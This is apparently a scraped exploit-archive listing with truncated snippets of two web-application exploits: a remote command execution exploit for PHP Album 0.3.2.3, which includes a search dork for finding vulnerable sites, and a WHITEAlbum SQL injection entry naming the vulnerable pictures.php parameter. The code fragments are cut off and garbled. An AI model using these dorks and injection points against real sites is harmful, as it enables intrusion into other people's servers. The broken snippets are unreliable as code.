PHP Album <= 0.3.2.3 Remote Command Execution Exploit

Exploit for unknown platform in category web applications ===================================================== PHP Album this works with magicquotesgpc=Off & registerglobals=On\r\n"; echo "dork: "powered by php photo album" -demo2 -pitanje\r\n\r\n"; if $argc "next", "IDPREV" = "previous",...

PHP Album 0.3.2.3 - Remote Command Execution

!/usr/bin/php -q -d shortopentag=on this works with magicquotesgpc=Off & registerglobals=On\r\n"; echo "dork: "powered by php photo album" -demo2 -pitanje\r\n\r\n"; if $argc "next", "IDPREV" = "previous", "IDNEXTPAGE" = "next page", "IDPREVPAGE" = "previous page", "IDALBUMNAME" = "Photoalbum",...

whitealbum.txt

WHITEAlbum Sql Ýnjection Website:http://whiteangle.com/ ------------------------------------------------------------------- exploit : http://victim/folder/pictures.php?dir=SQL ------------------------------------------------------------------- Credit:Liz0ziM mail:[email protected]...

WHITEAlbum Sql Injection

WHITEAlbum Sql Injection Website:http://whiteangle.com/ ------------------------------------------------------------------- exploit : http://victim/folder/pictures.php?dir=SQL ------------------------------------------------------------------- Credit:Liz0ziM mail:[email protected]...